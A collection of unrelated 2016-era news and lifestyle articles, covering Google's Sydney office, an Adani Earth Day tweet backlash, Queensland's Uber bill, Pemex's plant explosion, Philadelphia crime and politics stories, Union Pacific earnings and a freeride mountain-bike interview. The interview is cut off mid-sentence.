Ever wondered what goes on behind the scenes at the headquarters of your favourite all-hours discovery search engine/massive technological enterprise? Today, PEDESTRIAN.TV went on a totally rad tour of the head office of Google Australia in Pyrmont, Sydney, and filmed the whole thing on our Snapchat channel (add us: PEDESTRIAN.TV).

The huge Pyrmont Googleplex was opened in 2009, and has since been developed and updated to stay modern, slick and trendy whilst also being incredibly fun and playful. Highlights include: free breakfast, lunch and dinner at a fancy cafeteria for all employees, games arcades, meditation rooms, sleeping pods, scooters to make travel around the office a breeze, a library, pool tables, a music recording studio, massage rooms, and a plethora of tiny nooks and crannies where you can either chill solo or hold cool business meetings.

We spoke with Googles very own Consumer Communications Manager Shane Treeves, who took us on the epic tour.

Ive been at Google for almost four years, said Shane, and my favourite things include: working with great people, doing awesome collaborative work, and having fun around the office. Despite enjoying ourselves, we also work hard and the team here builds a lot of Googles latest technology. Google Maps was actually created here in Sydney more than 10 years ago, and we are doing great things with the Android watch and navigational systems integrated into cars.

Watch our Snapchat story below to see the ultimate in office #GOALZ chez Google:

To stay up to date with top news and behind-the-scenes of sick places and events, add us on Snapchat (PEDESTRIAN.TV) or scan our Snap code:

In the meantime, keep doing those late night weird Google searches. Weve all been there.
A helpful tip to all social media managers out there: if your company is on the wrong side of climate change, maybe try doing your absolute best not to remind people of that on World Earth Day.

This ~hot tip~ today comes courtesy of the Adani Group, who legit sent out this shockingly ill-advised tweet and are now getting rightly dragged for it.

Tomorrow is #WorldEarthDay. Time to reflect and do our bit. What are some of the things you do for the environment? pic.twitter.com/qyX8pKDTV5  Adani Group (@AdaniOnline) April 21, 2016

What are some of the things you do for the environment? they asked, even as they work on expanding the coal terminal at Abbot Point, which experts agree would be devastating for the Great Barrier Reef.

Well Adani, today I murdered the Great Barrier Reef, wait, no that was you. https://t.co/AfytIjnWtJ  Tim Beshara (@Tim_Beshara) April 21, 2016

Adani Group has a history of leaving a wake of environmental destruction in their path, but honestly. Did anyone not see this one coming?

Yknow, a full two days after experts revealed the devastating news that 93% of the Great Barrier Reef showed signs of bleaching, the worst in the reefs history??

THE SAME REEF THAT THEY WANT TO DUMP MILLIONS OF TONNES OF DREDGE SPOIL INTO?

Just fuck right off.

.@AdaniOnline

Get out of my country.

Dont believe our govt, theyre liars

Australians will NOT let you destroy our #GreatBarrierReef  Kirrina Barry (@KirrinaBarry) April 21, 2016

@AdaniOnline First thing I like to do is leave the coal in the ground so we dont all cook. What about you?  Russell Dovey (@Antipaganda) April 21, 2016

Reject @AdaniOnline My first step: refuse to trade with anyone financing fossil fuel developments, like #Adani, for example.  Fran Barlow (@fran_b__) April 22, 2016

@AdaniOnline heres a tip. Stop digging up coals clean up after yourselves.  janet eades (@janetbackstage) April 21, 2016

I started building the worlds largest coal mine not far from the worlds largest coral bleach. Oh wait. That was you. https://t.co/6phjZ7xPcL  Je Suis Paris (@DavidParis) April 22, 2016

What industry are you in again, Adani? https://t.co/2rJFR2xWu8  Asher Wolf (@Asher_Wolf) April 22, 2016

GetUp! said they couldnt be trusted with a backyard swimming pool, let alone the Great Barrier Reef.



Well add to that and say they cant be trusted with a clip art, let alone planet Earths beauty.

Photo: Twitter / Adani / A terrible, terrible place.
Ahhh Bob Katter. The man who is absolutely sure there are next-to-no gay people in North Queensland.

Also the politician who most closely resembles the Rich Texan from The Simpsons.

Once you see that, you cant unsee it.

Katters still quietly plugging away in his native QLD, far removed from his Federal halcyon days as a key right-leaning member of the highly contested Gillard Minority Parliament.

The Katter Australia Party currently holds a solid stake in the Queensland State Parliament, and has its sights firmly set on its latest target: ILLEGAL TAXI COMPANIES (said with reverb and a dramatic music sting).

Or, to put it in a much less-hyperbolic way: Uber. Theyre going after Uber.

The party introduced a private members bill into state parliament yesterday, which was passed with support of the opposition. The bill gives transport inspectors greater scope to go after Uber drivers, and increases the maximum fine allowed up to $2356, whilst administrators can now be fined up to $23,560.

According to Katter, Uber  and by extension actual consumer-wanted competition to the archaic taxi monopoly  is simply not in the national interest.

Someone has to be the a grown-up and say Im sorry you might get a cheaper ride tonight but in the long run this does not serve the national interest. Thats the question that needs to be addressed, not the tide is coming. Thats not a reason to do it.

Whatever you reckon, Tex.

In a very cheeky response to Katters crusade against ridesharing companies, Uber has introduced a special Katter mode into the app for customers in Queensland.

Whilst requesting a ride on the app, users can slide across to Katter mode to see what Queensland would be like if the pollie gets his way and wipes Uber from the map in the state.

No cars available.

Uber has been on the front foot against the new legislation, essentially accusing the Katter party of bullying QLD state MPs into getting their way.

Hundreds of thousands of Uber riders in the state will see that their MP chose to vote against them, and have a view of what Queensland could look like if the government continues to do backroom deals with the Katter Australia Party.

We are astounded that a government that claims to be pro-jobs and pro-innovation has taken such a backwards step for Queensland.

They have undermined the credibility of their own review process to appease Mr Katter, who continues to threaten the states leaders to get his way. We will continue to stand by our driver-partners and riders and fight for their choices, especially when their government clearly has no interest in doing so.

There is also concern that the new laws will have knock-on effects for other hire car services such as limousines, who do not carry the regulated taxi licenses.

The laws do not prevent legislators from adopting regulations for Uber, much like in other states that have already done so such as New South Wales, Western Australia, South Australia, or the ACT.

For the time being, Uber continues to operate in Queensland as normal, despite the governments decision.

Source: News.com.au.

Photo: David Ramos/Getty.
Fire water should only ever really be used to describe v. strong booze, not the state of an actual river in Australia.

But, here we are. Greens MP Jeremy Buckingham has chucked some footage from his recent trip to Queenslands Condamine River up on Facebook, and it shows the water being permeated by strong surges of methane gas  a gas which is very, very flammable.

So he decided to light it. As you do.

The whole point of the clip is to demonstrate what Buckingham believes to be the effects of fracking in the region.

The practice, which is right up there on the Greens list of energy no-nos, disturbs the Earth to get to that sweet, sweet coal seam gas (CSG), and the Greens believe that meddling to be the cause of this flammable nastiness.

In the clip, Buckingham describes it as a tragedy in the Murray Darling Basin.

This is the future of Australia if we do not stop the frackers across all states and territories this is utterly unacceptable.

For what its worth, theres been some debate over the cause of the rivers increasingly gassy outbursts. A 2013 report posited it may be caused by underwater aquifers refilling and pushing the gas to the surface, or by the general effects of drought.

Speaking on The Project tonight, he also said he believed similar reports on the phenomenon from the CSIRO  which does actually take research funding from energy companies  may be bent in favour of the CSG industry.

While thats a long bow to draw, the gas leaks remain curious at best, and indicative of serious environmental damage at worst.

Source and photo: Jeremy Buckingham / Facebook.
COLUMBUS  Its no secret the local housing market is tight.

There arent enough homes available for purchase or rent, and whats there doesnt always meet a familys needs, particularly for those with limited incomes.

Columbus Area Chamber of Commerce President K.C. Belitz said this isnt a new issue for the community, but its something hes heard about more frequently while talking to employers over the past year.

The problem for employers is two-fold, he said. Columbus is currently experiencing a labor shortage, which prevents businesses from expanding or filling current positions, and the lack of available housing makes it more difficult to recruit workers to the area.

Its all part of the same problem, Belitz said. Employers cant find enough help, and when they do find someone they certainly dont want to lose them because they cant find a house or an apartment.

Belitz called the housing situation a top-three issue for the city, which is why the chamber made it a priority item for the current fiscal year.

According to the chamber president, there are currently around 55 homes on the multiple listing service in Columbus.

Thats just not enough, he said.

To compound the problem, housing here is often more expensive than in other Nebraska cities, including Omaha and Lincoln, Belitz said.

That is an unwelcome surprise when they start looking at whether or not they want to take a job here, he said.

Higher prices are a good thing for people looking to sell their home, but Belitz believes there needs to be better balance in the local housing market, which is even tighter for rentals.

They would seem to be in even shorter supply than single-family homes, Belitz said.

The housing shortage also has the attention of elected officials.

Columbus City Council members voted 8-0 this week to begin the process of developing a housing study that looks at the issue and possible solutions.

Obviously, everyone knows we have a shortage of affordable housing in the city from rentals, to start homes to retirement homes, City Administrator Joe Mangiamelli said in a memo to city council members while noting that the last local study was completed seven years ago.

Groups such as Columbus Housing Authority, which manages Heritage House Apartments, and NeighborWorks Northeast Nebraska also recognize the need for more affordable housing here, according to Councilman Jim Bulkley, who requested the study.

NeighborWorks has partnered with the city on two major affordable-housing projects in Columbus in recent years  one near Bradshaw Park and another near Centennial Elementary School.

A housing study can spark additional construction because developers use the information to apply for tax credits through the Nebraska Investment Finance Authority (NIFA).

The city will likely apply for grant funding through NIFA to pay for a portion of the studys costs, which could also be covered by local sales tax revenue set aside for economic development.

Belitz said the chamber also supports the study as a way to secure government funding for housing projects, but the business group will also look at ways to increase development without using public funds.

During Monday nights city council meeting, Bulkley made it clear hed like to move quickly to address the housing problem.

The housing shortage in Columbus isnt going to go away, he said.
Andrea Peacock, Kelowna Daily Courier reporter. Her work is also featured in the Okanagan Saturday and Okanagan Sunday and sometimes in The Herald, where she was previously an intern.
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Prince George made a surprise appearance at Kensington Palace on Friday  in his pajamas!

The little royal, who stole the spotlight earlier in the week in his cutest royal portrait yet, appeared in a hallway wearing a plush robe (embroidered with his name!), matching gingham blue pajamas and slippers just before the start of his parents dinner with President Barack Obama and First Lady Michelle Obama.

In a photo shared on Kensington Palaces Twitter, George can be seen sharing a handshake with the President. Other pictures show him riding a rocking horse  a gift from the Obamas when he was born.

Although George, who turns 3 in July, was permitted to stay up late for the special occasion, his nearly 1-year-old sister Princess Charlotte was fast asleep, says a palace source: George stayed up for a few minutes when the President and the First Lady arrived, but Charlotte was in bed. (George had previously been playing with a plush version of First Dog Bo, a past gift from the Obamas.)

Prince William, Princess Kate (in an L.K. Bennett dress) and Prince Harry are hosting the First Couple for a private dinner, with Harry warmly greeting Mrs. Obama with a double kiss.

The special evening  which followed lunch Buckingham Palace with the Queen  was arranged by William on behalf of all three royals, and they were delighted that [the First Couple] were able to accept, a palace source tells PEOPLE.

The three of them have built up a relationship with the President and First Lady over the years, adds the source.

Kate, who wore a teal and purple LK Bennett dress, and William first met the couple at Buckingham Palace in 2011 just after the royal wedding. It was their first joint engagement as a married couple.

In 2014 William visited the Oval Office, where he and President Obama discussed the campaign to clamp down on illegal wildlife trafficking.

Of course, Prince Harry has his own special relationship with the White House  and in particular with Mrs. Obama.

Last June, he hosted the First Lady and First Daughters Malia and Sasha  along with grandma Marian Robinson  for tea at Kensington Palace.

 Want to keep up with the latest royals coverage? Click here to subscribe to the Royals Newsletter.

Then in October, it was the First Couples turn to play host to a visiting Prince Harry  where the chemistry between Mrs. Obama and the royal was on adorable display.

The two will be reunited once again next month, when they team up in Orlando for Harrys Invictus Games for veterans.
Election Q&A: Meet the candidates for Emmet County Commission

The first, third, fourth, fifth and sixth districts are all contested races on Nov. 8.
Pemex's petrochemical plant explosion adds to oil giant woes



Mexico's Pemex puts blast death toll at 24 -Reuters



WASHINGTON

Petroleumworld.com 04 22 2016

The death toll following a major blast at a Pemex's petrochemical plant in the Gulf state of Veracruz in Mexico jumped to 13, authorities said Thursday. Mexico's national coordinator of civil protection, Luis Felipe Puente, tweeted the revised death toll after visiting the facility early Thursday.

As of Wednesday night, hours after a huge explosion sent dark plumes of smoke from the plant, authorities said 3 people had been killed and 136 injured.

The Mexican oil giant said the fire was brought under control Wednesday evening, but cautioned people to keep away from the site. The blast forced the evacuation of surrounding neighborhoods.

The blast took place Wednesday afternoon at Petroquimica Mexicana de Vinilo, which produces chlorinate, near the port of Coatzacoalcos, one of Pemex's top oil export hubs. Petroquimica Mexicana de Vinilo is a joint venture between Mexican petrochemicals consortium Mexichem MXCHY +% and Pemex.

Jose Antonio Gonzalez Anaya, Pemex's CEO, said it is unclear what caused the leak that prompted the blast, according to Mexican media.

Despite Mexico's 2014 energy reform, which opened Pemex to private investment and was hailed by international investors as the most important reform in decades, Pemex has been facing one of its worst crises amid declining international oil prices and high debt.

Gonzalez Anaya, a technocrat with a long career in Mexican finance, took over the beleaguered Mexican company in February with the task of reorganizing its finances. As part of an austerity drive, Pemex has been cutting costs and plans a massive layoff of workers.

As an indication of Pemex's financial troubles, last week Finance Minister Luis Videgaray announced a $4.2 billion bailout package for the company. Pemex will use the funds to pay suppliers and contractors owed money from 2015.

But, as the Financial Times Mexico's correspondent Jude Webber wrote , the bailout doesn't sound like a whole lot. To back up her argument, Webber said that Pemex's 2015 losses nearly doubled to $30.3 billion, it owes $90.5 billion in pensions liabilities and has debts of $87 billion.

Likewise, Moody's Investors Service said in a report last week that despite the relatively small commitment for a company so deeply indebted as Pemex, the injection of capital shows high level government support for Pemex.

Early this week, Videgaray and Gonzalez Anaya visited New York to assure investors of government support for Pemex.

Duncan Wood, director of the Washington -based Woodrow Wilson Center's Mexico Institute and longtime expert on Mexico's energy industry, said the explosion will be an extra cause for concern and it will increase pressure on Pemex leadership, particularly at a time when Gonzalez Anaya is focusing on evaluating the company's assets with an eye to partnerships with the private sector.

The Mexican government's dependence on oil revenues (Pemex funds much of the government's budget through taxes and direct payments) has forced the company to operate at a loss for a long time. Even when oil prices were high, Pemex was unable to invest in oil production projects and infrastructure.

The explosion is the latest in a string of safety disasters that have plagued Pemex. In 2013, at least 37 people were killed in a blast at Pemex's headquarters in Mexico City, and a year earlier, dozens were killed in a fire at a Pemex gas facility in the northern state of Tamaulipas.

Pemex's image has also been tarnished by corruption-related scandals i nvolving the trade union and accusations of fraud by private suppliers.






At the Free Library the other day to launch his book, Wayne Pacelle, president and CEO of the Humane Society of the United States, had words of praise for a local politician and a local business.

The politician was City Councilman Kenyatta Johnson, who is the leading, although not the only, animal advocate on City Council.

The business was Aramark. It was good, and surprising, to hear words of praise from America's largest animal advocacy organization (I am a member) about Aramark, the largest U.S.-based food service company.

In an agreement with H.S.U.S., the $15-billion, Fortune 500 company has promised to eliminate from its supply chain of providers all cages for laying hens within five years, gestation crates for mother pigs within two years and crates for veal calves within two years. Since I want to keep this upbeat, I won't describe the utter inhumanity of the cages and crates I just mentioned other than to say they are strait jackets that deny natural activity and movement.

The company reaffirmed its commit to not buy foie gras and will "address the problem" of unnatural growth hormones forced on farm animals. This is good news, but inspection must follow. As Ronald Reagan said, "Trust, but verify."

Dealing with Aramark dovetailed with the publication of Pacelle's new book, "The Humane Economy: How Innovators and Enlightened Consumers are Transforming the Lives of Animals."

In his talk, Pacelle said most humans feel a bond with animals, and that's true for most, not all. Even the most caring humans, however, are unaware of how food animals suffer, and pets, too.

Johnson was invited to speak before Pacelle because his anti-puppy mill bill has just passed City Council unanimously, and Johnson also had written law that pets must be brought inside in freezing weather.

His commitment to animals can't be challenged and he describes himself as a vegetarian.

Pacelle said there are 171 million pet dogs and cats in America, and that over our development as a species, 99 percent of the time we were immersed in nature. After the Industrial Revolution that began to change. It eventually reached a point  proving not all change is "progress" -- where we developed factory farms to increase the speed of "growing" food  and to decrease the cost. "Exploitation is built into commercial practices," Pacelle said.

In the long run, he said, development of plant-based protein and meat substitutes will be game-changers. He saluted Philly restaurants Vedge and V Street as proving it can be done. He predicted the end of factory farming in the years ahead.

We may be on the threshold of becoming more humane, more caring of animals, more sensitive to their needs. You can see that in announcements that Ringling is phasing out its elephants and Sea World the same with orcas.

H.S.U.S. talks more about "human responsibility" than "animal rights," which avoid senseless argument with the senseless over whether animals have "rights."

With that said, cruelty  deliberate or ancillary  is a "moral problem," he said. "We should have limits on our conduct in how we treat these animals."

Anyone with a heart would agree.
Pennsylvania state police arrested 11 alleged drug dealers and issued warrants for four more Friday following a yearlong investigation into a cocaine trafficking organization at a Chester housing project.

At a news conference at the state police Belmont barracks in Philadelphia, Attorney General Kathleen G. Kane said the dealers - who range in age from 22 to 61 - sold between 1 and 3 kilograms of cocaine every week in and around the Ruth L. Bennett Homes.

All defendants were charged with corrupt organization, narcotics violations, conspiracy, criminal use of a communications facility, and dealing in proceeds of unlawful activities.

Although police had been aware of drug trafficking at the project "for some time," their investigations were stymied by the buildings themselves, Kane said.

"The obstacles that arose . . . came from the physical layout of the development," she said. "The development was laid out in the shape of a horseshoe, making surveillance very difficult."

With only a one-way, horseshoe-shape road going in and out, police had nowhere to park without being noticed, according to court documents.

Beginning in January 2015, the Chester Police Department worked with the Attorney General's Office and the Delaware County District Attorney's Drug Task Force to develop confidential informants and secure court-ordered wiretaps, authorities said.

"The war on drugs rages on, but today law enforcement is claiming a victory," Kane said.

According to Kane, between July and December 2015 police intercepted more than 7,000 phone calls and texts between the alleged head of the organization, James Townsend, 37, of Chester, and others allegedly involved in the trafficking. They allegedly included Townsend's brothers Darrell Burton, 41, and Lafenus Burton, 43, both of Chester, and the owner of the alleged stash house, Cheron Jackson, 34, of Chester.

Kane said authorities determined that Townsend's "primary supplier" was David Toney, 44, who has houses in Philadelphia and Delaware.

When police executed search warrants on Toney's houses, they found five guns - three of which had been reported stolen - along with $50,000 in cash and drug packaging materials, Kane said.

A search warrant on Jackson's residence - which is not in the Bennett Homes - yielded about 2 kilograms of cocaine, police said.

Kane said that it is believed that during the time the organization was under surveillance, from January to December 2105, the group moved between 50 and 150 kilograms of cocaine and sold between $5 million and $15 million of the drug on the streets of Chester.

farrs@phillynews.com

215-854-4225

@FarFarrAway
Two Philadelphia residents were arrested Thursday in separate cases of animal cruelty involving dog deaths, authorities said Friday.

Lawrence Watson, 48, of the 1400 block of Lenox Avenue in Tioga, was charged with misdemeanor animal cruelty after a dead, emaciated pit bull was found Feb. 16 on his property, the Pennsylvania Society for the Prevention of Cruelty to Animals said.

Separately, a male juvenile, was charged with misdemeanor animal cruelty in relation to two pit bull-type dogs found dead Feb. 23 in a yard on the 2000 block of East Birch Street in Kensington, the PSPCA said.

The agency did not disclose the boy's age or place of residence.

PSPCA law-enforcement officers also found a severely thin dog - a female shar pei and pit bull mix that the agency subsequently named Happy - and a turtle on the Kensington property, the agency said.

Happy and the turtle were placed with the PSPCA as part of a civil proceeding and have been adopted into homes, the agency said.

Gillian Kocher, a PSPCA spokeswoman, said she could not say what the juvenile's relationship is to the Birch Street home or to the animals found there.

The PSPCA's cruelty hotline, 866-601-SPCA.

shawj@phillynews.com

215-854-2592

@julieshawphilly
In the rough-and-tumble world of Philadelphia Democratic politics, U.S. Rep. Chaka Fattah's bid for a 12th term has been a curiously congenial affair.

Fattah has declared himself fully focused on Tuesday's primary, pushing off any concern about his federal trial on racketeering charges, which is scheduled to begin 20 days after that.

What a difference last July's indictment (and the long-running federal probe that led to it) made: In his many runs as the incumbent, Fattah, 59, had never faced a primary challenger in the Second Congressional District. Now he faces three.

State Rep. Dwight Evans of Northwest Philadelphia, who has served 36 years in the state House, is Fattah's best-known and most powerful challenger. But Evans rejects any suggestion that Fattah's indictment was a factor in his deciding to run.

Dan Muroff, a lawyer and ward leader, and Brian Gordon, a Lower Merion Township commissioner, are cautious in admitting they entered the race because Fattah faces legal troubles.

Muroff, 48, said the indictment "absolutely" encouraged him to run, but quickly added, "Am I going to pile on? No."

Gordon, 55, sounded a similar note. "Yes, it was absolutely a factor in my decision to run," he said. "Is it part of my campaign? Absolutely not."

Fattah has almost exclusively taken the high road. In a joint interview with his challengers, he repeatedly said they all have something to offer his district, which covers parts of Philadelphia and Montgomery County.

He has at times needled Evans for his age. At 61, Evans would make an old rookie in the House, Fattah has said.

And Fattah tags Evans for his role in having crafted the state legislation that created Philadelphia's School Reform Commission 15 years ago, removing local control.

But mostly Fattah runs on his record, easily rattling off the scores of projects - education, housing, job training, health - he has helped to fund with federal dollars.

"Every time I've won an election, literally millions of people have been helped," he said.

Fattah has steadfastly denied federal prosecutors' allegations against him - that he took bribes from a lobbyist and misused campaign contributions, charitable donations, and federal grant money under his control to pay off debts.

Predicting he will prevail at trial, he said local voters should not "trade away" his seat on the powerful House Appropriations Committee, which he hopes to one day chair for his party.

"I'm doing real work in the Congress," he said. "The likelihood is, my best work is in front of me."

Evans, a former mayoral candidate and an influential politician - his endorsement was seen as pivotal to Mayor Kenney's landslide win last year - presents himself as a champion for cities, a candidate who will put urban issues back on the national agenda. He cites as proof of this his efforts to pass the Children's Health Insurance Program (CHIP) 25 years ago.

"That had nothing to do with seniority," Evans said. "That had to do with leadership."

Muroff, a former president of the advocacy group CeaseFire PA, has made gun violence a central focus of his campaign, visiting neighborhoods soon after shootings. He calls for more stringent screenings of gun buyers.

"I'm not sure if 90 percent of Americans agree that the world is round," he said. "But 90 percent of Americans agree that mandatory criminal background checks are something we should do."

Muroff, who worked in the House as a staffer, has also said that he is the only Fattah challenger who knows how Congress actually works.

Gordon has used his campaign to speak about education, poverty, and violence, linking those issues. He has called for an increase in the minimum wage, reduction of the country's prison population, and a law to allow states to legalize the sale of marijuana as long as the taxes on it are used to fund a state's poorest public schools.

"It would be a new revenue stream, not touched or grabbed by anybody, to go to public schools," Gordon said.

James Jones, 60, the owner of a human-resources consulting firm, is the lone Republican in his party's primary on Tuesday.

The Second District is the only one in Pennsylvania in which a majority of residents - 58 percent - are African American. Democrats dominate there, with 81 percent of the registered voters, while Republicans have 8.5 percent, and independents and smaller political parties are 10 percent.

brennac@phillynews.com

215-854-5973 @ByChrisBrennan

Chaka Fattah

Age: 59

Residence: East Falls.

Family: Wife, Renee; four children.

Education: Master's degree, Fels School of Government, University of Pennsylvania.

Occupation: Congressman, 11 terms.

Campaign website: ChakaFattah.com.

Career: Former member of the state House and Senate.

Dwight Evans

Age: 61

Residence: East Mount Airy.

Family: Single.

Education: Philadelphia Community College and La Salle University.

Occupation: Member of the state House since 1981.

Campaign website: dwightevans.com.

Career: Philadelphia School District, Urban League of Philadelphia.

Dan Muroff

Age: 48

Residence: East Mount Airy

Family: Wife, Melissa.

Education: Drexel University, Chicago Kent College of Law.

Occupation: Lawyer.

Campaign web site: muroffforcongress.com.

Career: Democratic leader of the Ninth Ward, former president of CeaseFire PA.

Brian Gordon

Age: 55

Residence: Lower Merion Township.

Family: Wife, Julie; one child.

Education: Law degree, University of Wisconsin.

Occupation: Lower Merion Township commissioner, lawyer.

Campaign web site: gordonforcongress.com.

Career: Congressional intern, research aide to a member of the British Parliament.
OMAHA  Union Pacific's first-quarter profit fell 15 percent, hit by a steep decline in the amount of freight hauled due to weak energy and commodity prices.

The railroad based in Omaha said Thursday it earned $979 million, or $1.16 per share. That's down from last year's $1.15 billion, or $1.30 per share.

Per-share earnings topped the $1.10 that analysts had expected, according to a survey by FactSet.

Revenue slumped 14 percent to $4.83 billion, missing expectations. Analysts expected $4.9 billion.

Weak coal demand continues to be a challenge for all the major railroads as utilities switch to natural gas because of low costs and environmental regulations.

Union Pacific Corp. said coal shipments fell 34 percent in the quarter, but there were also declines in shipments of industrial products, agricultural crops and intermodal containers. The railroad cut its expenses by 14 percent to $3.14 billion in response.

"We did a very good job of adjusting our cost structure," Lance Fritz, Union Pacific's chairman, president and CEO, said in an interview.

The overall economy continues to grow but that's obscured in the railroad results by the weak demand for coal, shipments related to shale mining and exports.

"It could be better, but there is broad, slow, steady recovery going on," Fritz said.

The railroad responded well to the slower demand by reducing expenses and improving productivity, Edward Jones analyst Logan Purk said. For instance, average train speed increased 11 percent to 27.3 miles per hour, and the amount of time trains spent sitting in terminals fell 7 percent to 28.6 hours.

"UP is doing a phenomenal job of controlling what they can," Purk said. "I think they're setting themselves up nicely for when volumes come back."

Union Pacific said it also reduced its capital spending plans for 2016 by $75 million to $3.68 billion because of the slower volume.

Union Pacific operates 32,400 miles of track in 23 states from the Midwest to the West and Gulf coasts.

Its shares rose $4.35, or 5.2 percent, to $88.20 in afternoon trading. Its shares are down 20 percent over the past year.
By 2012 you were riding high on a wave of success...and then you got hurt. Tell us how you hurt yourself. By 2012 you were riding high on a wave of success...and then you got hurt. Tell us how you hurt yourself.

I remember you hobbling around 2013 Rampage on crutches and looking dejected about not competing. How did the injury affect your confidence? I remember you hobbling around 2013 Rampage on crutches and looking dejected about not competing. How did the injury affect your confidence?

You ended up losing most of your bike sponsors. That's a big kick in the junk for a pro rider on the mend. How did it feel to have to start from scratch and look for new support? You ended up losing most of your bike sponsors. That's a big kick in the junk for a pro rider on the mend. How did it feel to have to start from scratch and look for new support?

You mention you lost the team sponsorship. Are there advantages to being on a team program versus getting support individually? You mention you lost the team sponsorship. Are there advantages to being on a team program versus getting support individually?

So....2015, you show up after two years of injury at a Rampage venue that has been more or less claimed and built up by the riders from the previous year. It seemed like you had a bit of a challenge finding a line that would work for you while not screwing up other riders hard work. How frustrating was that? So....2015, you show up after two years of injury at a Rampage venue that has been more or less claimed and built up by the riders from the previous year. It seemed like you had a bit of a challenge finding a line that would work for you while not screwing up other riders hard work. How frustrating was that?

Rampage seemed to drive a rift between you and Aggy, at least for the few days of initial building. Both of you are both old friends and fierce competitors. What was it like to have your friendship stressed by competition, and then how good did it feel to stand on the podium next to him? Rampage seemed to drive a rift between you and Aggy, at least for the few days of initial building. Both of you are both old friends and fierce competitors. What was it like to have your friendship stressed by competition, and then how good did it feel to stand on the podium next to him?

How confident were you before finals? Did you believe you had the line and the drive to win? How confident were you before finals? Did you believe you had the line and the drive to win?

There was a lot of controversy behind the scenes at Rampage this year. From POV camera usage, to prize money, to dig crews and line-stealing/sharing, the tension felt high at times. Does Rampage need to change the program to evolve with the riders? If so, how? There was a lot of controversy behind the scenes at Rampage this year. From POV camera usage, to prize money, to dig crews and line-stealing/sharing, the tension felt high at times. Does Rampage need to change the program to evolve with the riders? If so, how?

Who got robbed at Rampage? And what do you think about the fan's passionate reactions to the judges' decisions? Who got robbed at Rampage? And what do you think about the fan's passionate reactions to the judges' decisions?

Despite the tension between the event and the riders, the competitors more or less stayed a tight community throughout. Can you give the readers an idea of what Rampage community is like when the cameras get turned off? Despite the tension between the event and the riders, the competitors more or less stayed a tight community throughout. Can you give the readers an idea of what Rampage community is like when the cameras get turned off?

Let's talk about the Fest Series. We've all heard the riders talk about how rad it is and how it is the future, but is it sustainable without bringing in major sponsors to pay for all the awesomeness? Or is it fine just the way it is? Let's talk about the Fest Series. We've all heard the riders talk about how rad it is and how it is the future, but is it sustainable without bringing in major sponsors to pay for all the awesomeness? Or is it fine just the way it is?

As the resident Fest Series big mountain guy, are there any serious plans for a Fest Series big mountain freeride event like Rampage? There are only so many whip trains I can take, and I'd love to see what you guys could do with a real mountain. As the resident Fest Series big mountain guy, are there any serious plans for a Fest Series big mountain freeride event like Rampage? There are only so many whip trains I can take, and I'd love to see what you guys could do with a real mountain.

Hoffest rules so hard, from Grohman to the gravel pit to Retallack to Kootenay lake. What do you have planned next? Hoffest rules so hard, from Grohman to the gravel pit to Retallack to Kootenay lake. What do you have planned next?

How important has the Kootenays' region been to your development as a rider? How important has the Kootenays' region been to your development as a rider?

OK, time for shout outs. Who keeps Sorge stoked? OK, time for shout outs. Who keeps Sorge stoked?

Things were going well. After winning Rampage [In 2012 - ed] I continued to do a bit of everything: filming, big mountain stuff, and was still competing in slopestyle events. I had a busy year like usual and had competed at X Games and Crankworx with decent results. I was headed over to Vancouver Island for Bearclaw's event. I had my truck loaded to the brim with gear and people and had been up early from doing a run to the Vancouver airport from Whistler already and then back to Whistler and then missing a ferry. Anyways we made it to Bearclaw's and everyone that was competing at the event that year was headed to Claw's dirt jumps for a pre-event session. We made it there pretty late in the day and slapped on my pads and went to join in the session. I only had my 'slopestyle' bike at the time (xc bike) and was probably way too tired to ride but I wanted to get in some practice before we headed up to Mt. Washington for the event. These jumps are in the woods and after messing up the line the first couple times I had gone off one of the first few jumps which are in a tight spot of trees and before I knew it I was headed straight for a tree in the air. I remember laughing a bit at the situation while soaring towards the tree and then realized I wasn't going to be able to miss it. I made an effort but clipped my knee and knew right away something was wrong. It ended up being a broken tibial plateau.Well, it sucked because it was the worst injury I had sustained and I wasn't able to defend my title. But I wouldn't say my confidence was affected much. I was stoked to watch all my homies ride and push the sport to new levels, I just wish I was out there to be a part of it. If anything I was more motivated than ever to get back to 100% and back on my bike.I was on a two-year contract so I didn't have much to worry about going into 2014 but just getting better and kicking some ass. I was able to come back with my knee feeling good and started my web series with Solos Productions. We had also started the first year of Fest Series which was sick and it was turning out to be a wicked year. I then busted my fibula on a dumb slip of a pedal (didn't even crash) weeks before Rampage and was going to have to watch from the sidelines again. It was after this I was waiting for the call to renegotiate my contract and there was was nothing to talk about. I was just cut. And it was just my bike sponsor that had cut me, but unfortunately, everything that had to do with my bike was along with that deal. Leaving me with finding a completely new ride. All of my other sponsors stuck right by my side, though.Being on a Factory Team has its advantages for sure. The team manager deals with the companies, they collect all the parts at the beginning of the year and build your bikes and they can offer more support with a mechanic at certain events. But for myself I'd rather work closer with the companies I am riding for. Also, it works better for racing because you're always on a set schedule, but for freeriding we are always off on an adventure and it's not really necessary to have a full team support, you just have to be more prepared yourself.Ya, I went into last year's event trying not worry about having to find a line between everyone's from the previous year, but that seemed more challenging than I expected. I wanted to stay away from obvious lines but it was pretty clear which top section was going to score the best. It would have been pointless to spend all that time and effort to work on a line and risk it all for a run that even if I had nailed to the best of my ability wouldn't have even been a contender. There is a fair bit of strategy for Rampage and line choice is a big part of that.It was tough up there right from the beginning. I had never seen the course before and because of the ridiculously long line up to register, my team was one of the last on the hill, even though no one was supposed to go up before everyone had been signed in so it would be a fair playing field. By the time we were up there most of the guys were working on their lines from the past few years and I just wanted to get a feel for the whole venue because I didn't want to run into any drama. I eventually made it up to the start point and was still having troubles finding a line. Straight down from the top had the obvious gnar factor and I wanted to find something comparable to Aggy, Andreu and Semenuk's drops. I had a few options but they were less than ideal builds, and then I ran into Claw who had yet to find a line either. We ended up deciding on teaming up on a drop that led us into Strait and Zink's chute. From there I wanted to build a jump over the ridge and the landing ran into Aggy's line and that's where we tried to find a solution that worked for both of us. He was already letting us help build up their hip on the ridge so I wanted to respect his line. I looked at many options and there wasn't any way around it and luckily it all worked out and didn't affect his landing much. It was pretty insane out there, every time you moved dirt or rocks it would land on someone else's path and you would have to go down and move all that dirt and rock a second time just so it would be clear for the other guys. We even had to help build up Zink's catch berm and chisel out the Frenchies' landing because we were squeezing between so many other lines and didn't want to affect their line.It sucked having stress between friends just for the contest sake and especially with Aggy because we're best buds and I wanted to see him win just as much as I wanted to. But I was there to do my best and I wanted to prove myself and make everyone that was counting on me proud. It was pretty surreal standing on the podium with Aggy and Andreu! Not bad for a few dirtbags!Before finals, I was feeling pretty good. My team was really supportive and kept reassuring me that I had what it took. Plus they had been busting their asses all week and I didn't want to let them down. I wasn't 100% on our top drop as it was easily 